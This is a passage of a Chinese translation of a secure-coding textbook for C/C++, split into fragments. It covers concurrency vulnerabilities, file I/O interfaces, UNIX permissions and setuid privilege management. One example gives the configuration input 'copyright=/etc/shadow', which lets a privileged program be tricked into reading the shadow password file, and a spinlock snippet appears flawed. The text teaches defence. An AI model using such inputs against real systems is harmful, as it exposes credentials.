，并执行 58 // 如果需要，回收 59 return data; 60 } 自旋锁（spinlock） 。"},
    {"text": "01 volatile atomic_flag lock = ATOMIC_FLAG_INIT; 02 03 // ... 04 05 void *thread_function(void *ptr) { 06 size_t thread_num = (pthread_t*) ptr - threads; // 得到 07 // 线程数组索引 08 while (!atomic_flag_test_and_set(&lock)) {} // 自旋锁 09 lock = 1; 10 shared_data = thread_num; 11 // 做其他事情 12 printf(\"thread %u set shared value to %u\\n\", (int) thread_num, 13 (int) shared_data); 14 atomic_flag_clear(&lock); 15 return NULL; 16 } 一个常见的防止自旋锁浪费CPU周期的缓解措施是，在while循环中让该线程休眠或把控制让给其他线程。"},
    {"text": "未知 7.7 值得注意的漏洞 并发的不正确使用导致了许多著名的漏洞。本节介绍一些种类的漏洞，以及一些具体的例子。 未知 7.7.1 在多核动态随机访问存储器系统中的DoS攻击 今天的随机存取存储器（DRAM）内存系统不区分运行在不同的核上的不同线程的内存访问请求[Moscibroda 2007]。这种区分的缺乏使得多核系统容易受到利用内存系统中的不公平发起的攻击。这个不公平，允许一个线程使用一个特定的内存访问模式，比来自其他线程的内存访问请求优先获得对内存的访问。这种优先访问导致其他线程访问内存的时间变长。Moscibroda针对在目前的DRAM内存系统中为何一个线程可以拒绝另一个线程的服务，给出了两个主要的原因： 1.不公平的行命中优先（row-hit-first）调度： 访问导致行命中（称为一个高的行缓冲位置）的线程与访问导致行冲突的线程相比，前一个获得更高的优先级。因此，如果碰巧访问相同的DRAM条带，那么一个具有较高的行缓冲位置的应用程序（例如，一个通过内存流的应用程序）可以明显延缓另一个具有较低的行缓冲位置的应用程序。 2.不公平的最旧优先（oldest-first）调度： 最旧优先调度隐含着赋予那些可以以更快速率产生内存请求的线程更高的优先级。这种侵略性的线程可以用它们的请求淹没内存系统，以比内存系统更快的速度服务。因此，侵略性的线程可以以它们的请求填满存储系统的缓冲区，而内存访问密集程度较低（less-memory-intensive）的线程被内存系统阻塞，直到所有的从侵略性的线程较早到达的请求都得到服务为止[Moscibroda 2007]。 在多核系统上使用这些内存访问技术，使得攻击者可以拒绝或延缓其他线程的内存访问。预计随着时间的推移，硬件的这类问题将得到纠正，以确保公平。 未知 7.7.2 系统调用包装器中的并发漏洞 系统调用插入是用于提高操作系统安全策略的一个内核扩展技术（被商业杀毒软件广泛使用），但在与当前的操作系统结合时，它变得脆弱，并可能导致权限提升和绕过审计[Ergonul 2012]。 下面的系统调用包装器都已知存在了并发的漏洞。 ·通用软件包装器工具包（Generic Software Wrappers Toolkit，GSWKT）（CVE-2007-4302）：在GSWTK中某些系统调用包装器中的多竞争条件允许本地用户挫败系统调用插入，并可能获得权限或绕过审计。 ·Systrace：Systrace是多种操作平台的访问控制系统。sysjail实用程序是使用Systrace框架的一种遏制设施。sudo实用程序是一种权限管理工具；一个只在CVS预发布的sudo版本包括一个基于Systrace的监控模式。因为Systrace实现了自己的系统调用包装器，所以它容易发生多个并发漏洞。sudo（监控模式）和sysjail都使用了此功能。 ·Cerb CerbNG（CVE-2007-4303）：（1）一定的规则和（2）在应用于FreeBSD4.8中的CerbNG虚拟机保护的参数复制中，多竞争条件允许本地用户挫败系统调用插入，并可能获得权限或绕过审计，如通过修改log-exec.cb中的命令行来展示。 已确定在系统调用包装器中存在三种形式的并发漏洞[Watson 2007]： 1.包装器逻辑中的同步错误导致不正确的操作，如不正确地锁定数据。 2.在复制系统调用参数时，包装器和内核之间缺乏同步导致数据竞争，使得包装器和内核处理的参数不同。 3.在解释系统调用参数时，包装器和内核之间缺乏同步导致数据竞争。 在论文“Exploiting Concurrency Vulnerabilities in System Call Wrappers”（系统调用包装器中的并发漏洞利用）中，Robert Watson观察到，最常见的可识别和可利用的漏洞可分为三类[Watson 2007]： 1.检查时间到使用时间（time-of-check-to-time-of-use，TOCTTOU;也被称为检查时间，使用时间，或TOCTOU）漏洞，其中访问控制检查与它们所保护的操作是非原子的，允许攻击者违反访问控制规则。 2.审核时间到使用时间（time-of-audit-to-time-of-use，TOATTOU）漏洞，其中因为非原子性，跟踪偏离实际访问，违反精度要求。这允许攻击者掩盖活动，避免触发入侵检测软件（Intrusion Detection Software，IDS）。 3.替换时间到使用时间（time-of-replacement-to-time-of-use，TORTTOU）漏洞，对于包装器是唯一的，其中攻击者在包装器替换系统调用参数后，但在此内核访问它们之前修改这些参数，从而违反安全策略。"},
    {"text": "未知 7.8 小结 并发已经存在几十年了。在这几十年中，常识认为，并发是需要做的下一件大事，并且我们都将很快实现并发程序。在并发的好处超过其成本的应用领域中已采用并发。然而，有两个因素抑制并发程序更广泛地采用。首先，对于绝大多数程序员，开发并发程序是困难的，容易出错的。其次，处理器速度成倍增加，可以在无须并发的情况下提供性能改进。直到2005年，CPU时钟速度一直在持续提高，这本身是足以提高所有这些CPU上执行的应用程序的性能。 越来越多的证据表明，单CPU性能稳步提高的时代结束了。2005年以来，CPU时钟速率保持不变。相反，处理器制造商已在每个单独的芯片上增加了执行单元（核）的数量。因此，单线程的应用程序的性能在很大程度上停滞了，因为额外的核心几乎没有为这类应用带来什么好处。使单个应用程序有效地利用可用的CPU内核的唯一途径是通过并行。这种趋势给应用程序的开发和编程语言开发社区带来了有效支持并发的压力。因此，C和C++标准2011年的新版本，都把线程支持集成到了各自的语言中。编译器厂商已经开始实现并提供这些功能。这些编译器的初始版本要支持现有的代码库，在它们的支持并行方面已经过于保守。不过，通过并发执行和工具实现的改变，业内人士似乎在性能提高方面的一系列徘徊和犹豫边缘做好了准备，这一期间，需要对代码库进行现代化，以正确和安全地操作。 遗憾的是，对于绝大多数程序员，开发并发系统仍然困难，而且容易出错，我们仍然缺乏一个能够广泛采用的并发编程模型。可能的例外是被C和C++标准采用的多线程的方法，即在C++中的lambda表达式，大致与开发人员已经奋斗了多年，但还没有取得成功的方法相同。应用软件开发和编程语言开发社区也意识到这个问题，并提出了许多解决方案，如Cilk、英特尔线程构建块（Intel Threading Building Block）、OpenMP、QtConcurrent，等等。这些不同的方法上的经验很有限。迄今为止，还没有出现能从根本上解决程序员对并发的推断有困难的、具有成本效益的解决方案。 那么，当采用并发压力的增加遭遇到开发人员无力编写并发的程序时，会发生什么情况？轻率地说，随之而来的将是狂欢。在今后努力发现哪些方法会成功，哪些方法将被抛在一边的岁月里，并发可能是大量漏洞的根源。 未知 第8章 文件I/O 与David Riley和David Svoboda合著 [1] But.when I came,—some minute ere the time Of her awakening,—here untimely lay The noble Paris and true Romeo.dead. —William Shakespeare.Romeo and Juliet.act V.scene3 C和C++程序通常会对文件进行读写，并将此作为它们正常操作的一部分。不计其数的漏洞正是由这些程序与文件系统（其操作由底层操作系统定义）交互方式的不规则性而产生的。这些漏洞最常由文件的识别问题、特权管理不善，以及竞争条件导致。本章将对每个主题展开讨论。 [1] David Riley是威斯康星君越大学计算机科学系教授。David Svoboda是SEI的CERT的一位技术人员。 未知 8.1 文件I/O基础 安全地执行文件I/O会是一项艰巨的任务，一方面是因为有这么多的接口、操作系统和文件系统的变化。例如，除了特定于实现的接口外，C和POSIX标准都定义了各自用于执行文件I/O的接口。Linux、Windows和Mac OS X都具有特殊性。最重要的是，每种操作系统都可以用各种各样的文件系统。因为企业中存在的异构系统，每种操作系统都支持多种文件系统。"},
    {"text": "未知 8.1.1 文件系统 许多UNIX和类UNIX操作系统都使用UNIX文件系统（UNIX File System，UFS）。一些专有的UNIX系统的厂商，如SunOS/Solaris、System V第4版、HP-UX、Tru64 UNIX都采用UFS。它们中的大多数都改写了UFS以适应自己的用途，增加了可能不被其他厂商的UNIX版本认可的专有扩展。 当涉及文件系统时，Linux已被称为操作系统的“瑞士军刀”[Jones 2007]。Linux支持广泛的文件系统，包括早期的MINIX、MS-DOS和ext2文件系统。Linux还支持较新的日志文件系统，如ext4、日志文件系统（Journaled File System，JFS）和ReiserFS等。此外，Linux支持加密文件系统（Cryptographic File System，CFS）和虚拟文件系统/proc。 Mac OS X为几种不同的文件系统提供内置支持，包括Mac OS分层文件系统扩展格式（Hierarchical File System Extended Format，HFS+）、BSD标准文件系统格式（UFS），网络文件系统（Network File System，NFS）、ISO 9660（用于CD-ROM），MS-DOS，SMB（服务器消息块[Windows文件共享标准]）、AFP（AppleTalk文件协议[Mac OS文件共享]）和通用磁盘格式（Universal Disk Format，UDF）。 这些文件系统中有许多，如NFS、AFS（Andrew文件系统）、Open Group DFS（分布式文件系统），都是分布式文件系统，它们允许用户访问存储在异构的计算机中的共享文件，就像它们被存储在本地用户自己的硬盘驱动器一样。 无论是C或C++标准都没有定义目录或分层文件系统的概念。POSIX[ISO/IEC/IEEE 9945:2009]规定： 系统中的文件被组织在一个分层的结构中，其中所有的非终端节点都是目录，而所有的终端节点都是任何其他类型的文件。 分层文件系统是常见的，虽然平面文件系统也存在。在一个具有层次结构的文件系统中，文件被组织在一个有层次的树状结构中，这个树状结构有一个不被任何其他目录包含的根目录，所有的非叶节点都是目录，所有的叶节点都是其他（非目录）文件类型。由于多个目录条目可引用同一个文件，因此该层次结构被适当地描述为有向非循环图（Directed Acyclic Graph，DAG）。 文件由块（通常在磁盘上）的集合组成。在UFS中，每个文件都有一个与之关联的固定长度的记录，称为i节点（i-node），它保留所有文件属性，并保持一个固定的地址块数。一个i-节点的示例，如图8.1所示。i-节点中的最后一个地址是为一个指向另一个块地址的指针保留的。 目录是由目录条目的列表组成的特殊文件（special file）。目录条目的内容包括目录中的文件名和相关的i-节点的数量。 文件都有名称。虽然文件命名约定有所不同，但由于MS-DOS，8.3文件命名约定得到了广泛支持。通常情况下，使用一个路径（path）名来代替一个文件名。路径名不但包含一个文件或目录的名称，还包括如何浏览文件系统来找到该文件的信息。绝对路径名以一个文件分隔字符开始 [1] ，这意味着路径名中的第一个文件名前面是这个进程的根目录。在MS-DOS和Windows系统上，这个分隔字符也可以通过一个驱动器盘符（例如，C：）前导。如果路径名不以文件分隔符开始，那么称它为相对路径名，并且路径名中的第一个文件名前面是这个进程的当前工作目录。多个路径名可以解析到同一个文件。 图8.1 i-节点的示例 图8.2显示了路径名的组件。一个以正斜杠开始的路径名，表明它是一个绝对路径名。路径中的非终结符名指的是目录，而结束文件名可能是指一个目录或一个普通的文件。 图8.2 路径名组件 [1] 在POSIX 系统中，通常是一个正斜杠“/”，而在Windows 系统中是反斜杠“\\”。 未知 8.1.2 特殊文件 我们在本节的介绍中提到，目录是特殊的文件。特殊文件包括目录、符号链接、命名管道、套接字和设备文件。 目录只包含其他文件（目录的内容）的一个列表。当用ls-l命令查看时，它们都在权限域的第一个字母上标有d： drwxr-xr-x / 目录的这种命名方式是贝尔实验室参与的Multics项目的结果。显然，当开发人员试图为了一个可以通过其查找文件名以查找相关信息的事物命名时，浮现在脑海的是与电话簿（telephone directory）类似的东西。 符号链接（symbolic link）是对其他文件的引用。这样的引用被存储为文件路径的一个文字表述。在权限字符串中，用一个l表示符号链接： lrwxrwxrwx termcap -> /usr/share/misc/termcap 命名管道（named pipe）使不同的进程能够通信，并可以在文件系统中的任何地方存在。创建命名管道的命令是mkfifo，如mkfifo mypipe。它们用权限字符串的第一个字母p来表示： prw-rw---- mypipe 套接字（socket）允许在同一台机器上运行的两个进程之间通信。它们用权限字符串的第一个字母s来表示： srwxrwxrwx X0 设备文件（device file）用来申请访问权限和直接操作相应设备驱动器上的文件。字符设备只提供串行数据流的输入或输出（由权限字符串的第一个字母c表示）： crw------- /dev/kbd 块设备是随机访问的（由一个b表示）： brw-rw---- /dev/hda"},
    {"text": "未知 8.2 文件I/O接口 C中的文件I/O包括在<stdio.h>中定义的所有函数。I/O操作的安全性依赖于具体的编译器实现、操作系统和文件系统。较旧的库与较新的版本相比，通常更容易遭受到安全漏洞攻击。 字节或char类型的字符用于有限字符集的字符数据。字节输入函数执行字节字符和字节字符串的输入：fgetc（）、fgets（）、getc（）、getchar（）、fscanf（）、scanf（）、vfscanf（）、vscanf（）。 字节输出函数执行字节字符和字节字符串的输出：fputc（）、fputs（）、putc（）、putchar（）、fprintf（）、vfprintf（）、vprintf（）。 字节输入/输出函数是ungetc（）函数、字节输入函数和字节输出函数的并集。 宽字符或wchar_t类型字符用于自然语言的字符数据。 宽字符输入函数执行宽字符和宽字符串的输入：fgetwc（）、fgetws（）、getwc（）、getwchar（）、fwscanf（）、wscanf（）、vfwscanf（）、vwscanf（）。 宽字符输出函数执行宽字符和宽字符串的输出：fputwc（）、fputws（）、putwc（）、putwchar（）、fwprintf（）、wprintf（）、vfwprintf（）、vwprintf（）。 宽字符输入/输出函数是ungetwc（）函数、宽字符输入函数和宽字符输出函数的并集。因为宽字符输入/输出函数更加新，它们在相应的字节输入/输出函数设计上进行了一些改进。 未知 8.2.1 数据流 输入和输出被映射到逻辑数据流，这些逻辑数据流的属性比它们所连接到的实际物理设备（如终端和结构化存储设备支持的文件）更一致。 流通过打开一个文件与一个外部文件关联，这可能涉及创建一个新的文件。创建一个现有的文件会导致其以前的内容被丢弃。如果调用者不对哪些文件可以被打开仔细地加以限制，就可能导致现有的文件被意外覆写，或更糟的情况，即攻击者利用这个漏洞破坏有漏洞的系统上的文件。 通过<stdio.h>中所提供的FILE机制访问的文件称为流文件。 在程序启动时，预定义了三个文本流，并且不必明确打开它们： ·stdin：标准输入（用于读常规输入） ·stdout：标准输出（用于写常规输出） ·stderr：标准错误（用于写入诊断输出） 文本流stdin、stdout和stderr是FILE指针类型的表达式。在最初打开时，标准错误流不是完全缓冲的。如果流不是一个交互设备，那么标准输入和标准输出流是完全缓冲的。 未知 8.2.2 打开和关闭文件 fopen（）函数打开一个文件，其名称是由文件名指向的字符串，并把它与流相关联。fopen（）函数具有以下签名。 1 FILE *fopen( 2 const char * restrict filename, 3 const char * restrict mode 4 ); 参数mode指向一个字符串。如果该字符串是有效的，那么该文件以指定的模式打开；否则，其行为是未定义的。 C99支持以下模式： ·r：打开文本文件进行读取 ·w：截断至长度为零或创建文本文件用于写入 ·a：追加；打开或创建文本文件用于在文件结束处写入 ·rb：打开二进制文件进行读取 ·wb：截断至长度为零或创建二进制文件用于写入 ·ab：追加；打开或创建二进制文件用于在文件结束处写入 ·r+：打开文本文件用于更新（读取与写入） ·w+：截断至零长度或创建文本文件用于更新 ·a+：追加；打开或创建文本文件用于在文件结束处更新和写入 ·r+b或rb+：打开二进制文件用于更新（读取与写入） ·w+b或wb+：截断至长度为零或创建二进制文件用于更新 ·a+b或ab+：追加；打开或创建二进制文件用于在文件结束处更新和写入 CERT建议，且WG14接受，为C11增加一个独占模式。如果该文件已经存在或无法创建，那么用独占模式（mode参数的最后一个字符是x）打开文件失败。否则，文件被独占（也称为非共享（nonshared））访问式地创建，这个访问的扩展是支持独占访问的底层系统。 ·wx：创建独占文本文件用于写入 ·wbx：创建独占的二进制文件用于写入 ·w+x：创建独占的文本文件用于更新 ·w+bx或wb+x：创建独占的二进制文件用于更新 增加这种模式解决了一个重要的安全漏洞，该漏洞与处理在本章稍后介绍的竞争条件有关。 调用fclose（）函数来关闭文件，使得这个文件可以从控制流脱离。任何未写入的缓存数据流被传递到主机环境，并被写入到该文件中。任何未读的缓存数据将被丢弃。 关闭相关文件（包括标准文本流）后，一个指向FILE对象指针的值是不确定的。引用一个不确定的值是未定义的行为。 长度为零的文件（在它上面没有已写入输出流的字符）是否确实存在是实现定义的。 关闭的文件可能随后被相同或另一个程序的执行重新打开，并且其内容被回收或修改。如果main（）函数返回到原来的调用者，或如果调用exit（）函数时，所有打开的文件在程序终止之前关闭（且所有的输出流被刷新）。其他终止程序的路径，如调用abort（）函数，不必正确地关闭所有文件。因此，尚未写入到磁盘中的缓冲数据可能会丢失。Linux保证，甚至在程序异常终止时，这个数据也被刷新到磁盘文件。"},
    {"text": "未知 8.2.3 POSIX 除了支持标准的C文件I/O函数，POSIX定义了一些自己的文件I/O函数。其中包括具有下列签名的打开和关闭文件的函数： int open(const char *path, int oflag, ...); int close(int fildes); open（）函数并不操作FILE对象，它创建一个引用某个文件的打开文件描述（open file description），并创建一个引用该打开文件描述的文件描述符（file descriptor）。此文件描述符用于其他I/O函数，如close（），来引用该文件。 文件描述符是每一个进程为了文件访问的目的，用来识别一个打开的文件的唯一的非负整数。一个文件描述符的取值范围是0～OPEN_MAX。一个进程可以同时打开不超过OPEN_MAX个文件描述符。一种常见的利用攻击是耗尽可用的文件描述符的数量来发动拒绝服务（DoS）攻击。 打开文件描述符是一个进程或一组进程正在如何访问文件的记录。文件描述符只是一个标识符或句柄，它实际上并没有描述什么。一个打开文件描述符，包括某个文件的文件偏移量、文件状态和文件访问模式。图8.3显示了两个独立的进程打开同一个文件或i节点的例子。在打开的文件描述符中存储的信息对于每个进程是不同的，而与该文件相关的信息存储在i节点，这个信息对于每个过程是相同的。 图8.3 独立打开相同的文件 在POSIX系统中，流通常包含一个文件描述符。你可以调用POSIX的fileno（）来获得与一个流关联的文件描述符。反过来，你可以调用fdopen（）函数来把一个流关联到一个文件描述符。 表8.1总结了fopen（）和open（）函数之间的差异。 表8.1 fopen（）函数与open（）函数对比 未知 8.2.4 C++中的文件I/O C++中提供与C相同的系统调用和语义，只有语法是不同的。C++的<iostream>库包括了<cstdio>，后者是<stdio.h>的C++版本。因此，C++支持所有的C的I/O函数调用以及<iostream>对象。 C++中的文件流不使用FILE，而使用ifstream处理基于文件的输入流，用ofstream处理基于文件的输出流，用iofstream同时处理输入和输出的文件流。所有这些类都继承自fstream并操作字符（字节）。 对于使用wchar_t的宽字符I/O，使用wofstream、wifstream、wiofstream、wfstream来处理。 C++提供下列的流来操作字符（字节）。 ·cin取代stdin用于标准输入 ·cout取代stdout用于标准输出 ·cerr取代stderr用于无缓冲标准错误 ·clog用于缓冲标准错误，对记录日志有用 对于宽字符流，使用wcout、wcin、wcerr、wclog。 例8.1是一个简单的C++程序，它从一个文件test.txt中读取字符数据，并将其写入到标准输出。 例8.1 在C++中读写字符数据 01 #include <iostream> 02 #include <fstream> 03 04 using namespace std; 05 06 int main(void) { 07 ifstream infile; 08 infile.open(\"test.txt\", ifstream::in); 09 char c; 10 while (infile >> c) 11 cout << c; 12 infile.close(); 13 return 0; 14 } 未知 8.3 访问控制 大部分的涉及文件系统和文件I/O的利用，涉及攻击者在他们缺乏足够权限的文件上执行操作。不同的文件系统有不同的访问控制模型。 UFS和NFS使用的都是UNIX文件权限模型。这绝不是唯一的访问控制模型。例如，AFS和DFS使用访问控制列表（Access Control Model，ACL）。本章的目的是来描述一个访问控制模型的例子，用它来建立讨论文件系统的弱点和漏洞的上下文。因此，本章只介绍UNIX文件权限模型。 权限（permission）和特权（privilege）的含义相似但有所不同，特别是在UNIX文件权限模型的上下文中。特权是通过计算机系统委派的权限。因此，特权位于用户、用户代理或替代，如UNIX进程中。权限是访问资源所必要的特权，因此它与资源（如文件）相关。 特权模型往往是特定于系统且复杂的。它们往往会出现“完美风暴”，在管理特权和权限中的错误往往直接导致安全漏洞。 UNIX的设计基于大型多用户分时系统，如Multics的思想 [1] 。UNIX的访问控制模型的基本目标是防止用户和程序恶意（或意外）修改其他用户的数据或操作系统的数据。这种设计对于限制作为安全妥协结果的损害也是有用的。但是，用户仍然需要一个方法以安全的方式来完成对安全敏感的任务。 UNIX系统的用户都有一个用户名，它是用一个用户ID（User ID，UID）来确定的。把一个用户名映射到一个UID所需的信息保存在/etc/passwd文件中。超级UID（root）拥有一个为0的UID，并可以访问任何文件。每个用户都属于一个组，因此也有一个组ID，或GID。用户还可以属于补充组。 用户提供自己的用户名和密码给UNIX系统作身份验证。login程序检查/etc/passwd或shadow文件/etc/shadow来确定用户名是否对应到该系统上的有效用户，并检查提供的密码是否与该UID所关联的密码对应。 [1] UNIX与Multics的关系是多方面的，尤其具有讽刺意味的是，在涉及安全问题时，UNIX拒绝了大量的Multics的保护模式。"},
    {"text": "未知 8.3.1 UNIX文件权限 UNIX文件系统中的每个文件都有一个所有者（UID）和一个组（GID）。所有权决定了哪些用户和进程可以访问文件。只有文件的所有者或root可以改变其权限。这种特权不能被委派或共享。这些权限是 读： 读一个文件或列出一个目录的内容 写： 写入到一个文件或目录 执行： 执行一个文件或递归一个目录树 对于下列每种用户类别，这些权限可以授予或撤销： 用户： 该文件的所有者 组： 属于文件的组成员的用户 其他： 不是文件的所有者或组成员的用户 文件权限一般都用八进制值的向量表示，如图8.4所示。在这种情况下，所有者被授予读、写和执行权限；该文件的组成员的用户和其他用户被授予读取和执行权限。 图8.4 表示文件权限的八进制值向量 查看权限的另一种方法是在UNIX上使用ls-l命令： drwx------ 2 usr1 cert 512 Aug 20 2003 risk management lrwxrwxrwx 1 usr1 cert 15 Apr 7 09:11 risk_m->risk mngmnt -rw-r--r-- 1 usr1 cert 1754 Mar 8 18:11 words05.ps -r-sr-xr-x 1 root bin 9176 Apr 6 2012 /usr/bin/rs -r-sr-sr-x 1 root sys 2196 Apr 6 2012 /usr/bin/passwd 权限字符串的第一个字符表示文件类型：普通-、目录d、符号链接l、设备b/c、套接字s或FIFO f/p。例如，risk management的权限字符串中的d表明这个文件是一个目录。权限字符串中的其余字符表示分配给用户、组和其他部分的权限。这些可以是r（读取），w（写入），x（执行），s（set.id）或t（sticky，粘滞）。例如，文件words05.ps把读取和写入权限分配给所有者并把只读的权限分配给组和其他部分。 当访问一个文件时，进程的有效用户ID（Effective User ID，EUID）与文件所有者的UID进行比对。如果该用户不是所有者，那么再对GID进行比较，然后再测试其他。 限制删除标志或粘滞位由在POSIX<sys/stat.h>头文件中定义的符号常量S_ISVTX表示。如果一个目录是可写的，并且S_ISVTX模式位被设置在目录上，那么只有文件所有者、目录的所有者和root可以重命名或删除一个目录中的文件。如果S_ISVTX模式位没有被设置在目录上，对目录有写权限的用户可以重命名或删除文件，即使该用户不是所有者。共享目录，如/tmp目录的粘滞位通常是设置的。如果S_ISVTX模式位被设置在一个非目录的文件上，则其行为是未定义的。 本来，粘滞位只对可执行文件有意义。这意味着，运行程序时，它应该被锁定在物理内存中，而不是交换到磁盘。这是它得名“粘滞”的原因。在决定哪些页面应该驻留在物理内存中时，虚拟内存系统最终变得比人类更聪明。大约在同一时间，安全需要建议在目录上这个位保持目前的用途。 文件还有一个执行时设置用户ID（set-user-ID-on-execution）位，这是由符号常量S_ISUID表示的。该位可以被设置在一个可执行的进程映像文件中，并表示，这个过程以文件所有者的特权而不是用户组的特权运行（即是，EUID和新的进程保存的设置用户ID（set-user-ID）设置为文件的所有者ID）。 执行时设置组ID位（S_ISGID）是类似的。它也被设置在一个可执行的进程映像文件上，并表示这个进程以文件组所有者的特权而不是用户组的特权运行（即有效的组ID和新进程保存的设置组ID（set-group-ID）设置为文件的GID）。"},
    {"text": "未知 8.3.2 进程特权 前一节介绍了几种不同类型的进程用户ID，但没有解释它们。首先是实际用户ID（Real User ID，RUID）。RUID是启动该进程的用户的ID，它与父进程的用户ID是相同的，除非它被改变。有效用户ID（Effective User ID，EUID）是由内核检查权限时，使用的实际ID，因此它确定了进程的权限。如果新的进程映像文件的设置用户ID模式位被设置，则新进程映像的EUID被设置为新进程映像文件的用户ID。最后，保存的设置用户ID（Saved Set-User-ID，SSUID）是执行时设置用户ID程序的进程映像文件的所有者ID。 除了进程用户ID，进程也有进程组ID，它基本上与进程用户ID是对应的。过程有一个实际的组ID（Real Group ID，RGID）是调用该进程的用户的主要组ID。进程也有一个有效的组ID（Effective Group ID，EGID），这是一个由内核检查权限时使用的GID。EGID用于与补充组ID连用。保存的设置组ID（Saved Set-Group-ID，SSGID）是执行时设置组ID程序的进程映像文件的所有者的GID。每个进程都维护一个组列表，称为补充组ID（supplementary group ID），进程在其中有成员关系。当内核检查组权限时此列表用于EGID。 由C标准system（）调用，或由POSIX的fork（）和exec（）系统调用从父进程继承RUID、RGID、EUID、EGID、补充组ID以实例化进程。 在图8.5所示的例子中，文件的所有者UID是25。一个以RUID 25运行的进程执行文件program中存储的进程映像。program文件所有者的UID是18。然而，当程序执行时，它以父进程的权限执行。因此，程序以RUID和EUID 25运行，并能够访问该UID所拥有的文件。 图8.5 执行非setuid程序 在如图8.6所示的例子中，一个以RUID 25运行的进程可以读取和写入该用户所拥有的文件。该进程执行UID 18所拥有的文件program中存储的进程映像，但在该文件上设置了执行时设置用户ID位。现在这个过程以RUID 25，但EUID却是18运行。因此，程序可以访问UID 18所拥有的文件，但在EUID没有设置为真实UID时不能访问UID 25所拥有的文件。 保存的设置用户ID能力允许程序恢复在最后一次exec（）调用时建立的EUID。否则，一个程序必须以root身份运行才能执行相同的功能。同样地，保存的设置组ID功能允许一个程序恢复在最后一次exec（）调用时建立的有效组ID。 图8.6 执行setuid程序 若要永久放弃特权，则在调用exec（）之前把EUID设置为RUID，以使提升的特权不传递给新程序。"},
    {"text": "如果你的进程正在以提升的特权运行，并访问共享目录或用户目录中的文件，则你的程序就可能会被利用，使得它在程序的用户不具有相应特权的文件上执行操作。"},
    {"text": "1 fname = login_getcapstr(lc,\"copyright\",NULL,NULL); 2 if (fname != NULL && (f=fopen(fname,\"r\")) != NULL) { 3 while (fgets(buf, sizeof(buf), f) != NULL) 4 fputs(buf, stdout); 5 fclose(f); 6 } 例如，此漏洞允许攻击者通过在用户的~/.login_conf文件中指定配置选项来读取文件系统中的任何文件，例如： copyright=/etc/shadow 为了消除这种类型的漏洞，具有提升特权的进程可能需要暂时或永久承担一个普通用户的特权。"},
    {"text": "在与非特权用户有同样的限制访问文件时，暂时放弃特权是有用的，但它对于限制允许执行任意代码的漏洞（如缓冲区溢出等）的影响不是那么有用，因为可以恢复提升的特权。"},
    {"text": "例如，一个程序最初具有以下的UID： RUID 1000 admin EUID 1 bin SSUID 1 bin 要暂时放弃特权，它可以调用seteuid（1000）： RUID 1000 admin EUID 1000 admin SSUID 1 bin 要恢复特权，它可以调用seteuid（1）： RUID 1000 admin EUID 1 bin SSUID 1 bin setuid（）函数更改与进程相关联的EUID： int setuid(uid_t uid); setuid（）函数主要用来永久设置用户的角色，通常的目的是删除特权。"},
    {"text": "当调用者有适当的特权（appropriate privilege）时，setuid（）设置调用进程的RUID、EUID以及保存的设置用户ID。 当调用者不具有适当的特权时，setuid（）只设置EUID。"},
    {"text": "图8.7显示了描述一个Linux下setuid（）实现的有限状态自动机（Finite-State Automaton，FSA）。 图8.7 描述在Linux2.4.18中的setuid的FSA（资料来源：[Chen2002]） setuid（）的行为多种多样，反映不同历史实现的行为。"},
    {"text": "setresuid（）函数是用来显式地设置RUID、EUID、SSUID的，如下所示。 1 int setresuid( 2 uid_t ruid, uid_t euid, uid_t siud 3 ); setresuid（）函数设置三个UID，如果设置成功，则返回0；"},
    {"text": "setreuid（）函数把当前进程的EUID和RUID设置为ruid和euid参数指定的值： int setreuid(uid_t ruid, uid_t euid); 如果ruid或euid参数是–1，那么当前进程相应的有效的或实际用户ID保持不变。"},
    {"text": "setresuid（）函数在所有的POSIX权限管理函数中具有最清晰的语义，并在所有支持它的系统（Linux操作系统、FreeBSD、HP-UX和OpenBSD3.3及更高版本）上用同样的方式实现。"},
    {"text": "但是，如果EUID不为0，那么只有当新的EUID匹配三个旧UID的任意一个时，它才能在Linux和Solaris上工作，只有当新的EUID匹配旧RUID或SSUID时，它才能在BSD上工作。"},
    {"text": "未知 8.3.4 管理特权 这是一个停下来总结，然后再继续，同时也澄清一些术语的好时机，因为当有人说某个程序是一个“setuid程序”或“setgid程序”时，它的意思可能令人费解。 setuid程序是有自己的执行时设置用户ID位设置的程序。 同样，setgid程序也是有自己的执行时设置组ID位设置的程序。 不是所有调用setuid（）或setgid（）的程序都是setuid或setgid程序。 setuid程序可以以root身份运行（set-user-ID-root，设置用户ID为root）或以更受限制的特权运行。 非root的setuid和setgid程序通常用于执行有限或特定的任务。"},
    {"text": "wall程序以setgid tty安装并以这个tty组的成员运行： -r-xr-sr-x 1 root tty [...] /usr/bin/wall wall程序操作的终端设备被设置为同组可写： crw--w---- 1 usr1 tty 5, 5 [...] /dev/ttyp5 这种设计允许wall程序代表一个非特权用户写入这些设备，但可以防止非特权用户执行其他可能允许攻击者危及系统的非特权操作。"},
    {"text": "因此，passwd程序被定义为一个设置用户ID为root的程序： $ ls -l /usr/bin/passwd -r-sr-xr-x 1 root bin [...] /usr/bin/passwd ping程序是一个计算机网络管理实用程序，用于测试主机在互联网协议（Internet Protocol，IP）网络上是否可达，并测量从源主机发送到目标计算机的消息的往返时间。 ping程序也是一个设置用户ID为root的程序： $ ls -l /sbin/ping -r-sr-xr-x 1 root bin [...] /sbin/ping 这是必要的，因为ping程序的实现需要使用原始套接字（raw socket）。"},
    {"text": "例8.2 ping程序片段 01 setlocale(LC_ALL, \"\"); 02 03 icmp_sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP); 04 socket_errno = errno; 05 06 uid = getuid(); 07 if (setuid(uid)) { 08 perror(\"ping: setuid\"); 09 exit(-1); 10 } setuid程序带来重大风险，因为它们可以做文件的所有者允许做的任何事情，如果所有者是root身份，那么任何事情都是可能的。"},
    {"text": "使得setuid程序特别危险的是，它们由用户运行并且在用户（例如，攻击者）控制文件描述符、参数、环境变量、当前工作目录、资源限制、定时器和信号的环境中操作。"},
    {"text": "此示例中使用的setuid（getuid（））的用法通过将调用进程的RUID、EUID和保存的设置用户ID设置为RUID而永久删除特权，有效地防止了进程不断地恢复提升特权。"},
    {"text": "举个例子来说，一个邮件传输代理（Mail Transfer Agent，MTA）从一个用户（不可信的，可能是远程的）处接受邮件，并将它们传送到另一个用户的邮箱（由该用户拥有的文件）。"},
    {"text": "这个程序需要一个长时间运行的服务，它接受本地用户所提交的文件，并且为了访问控制和记账，要知道是哪个UID（以及GID）提交的每个文件。"},
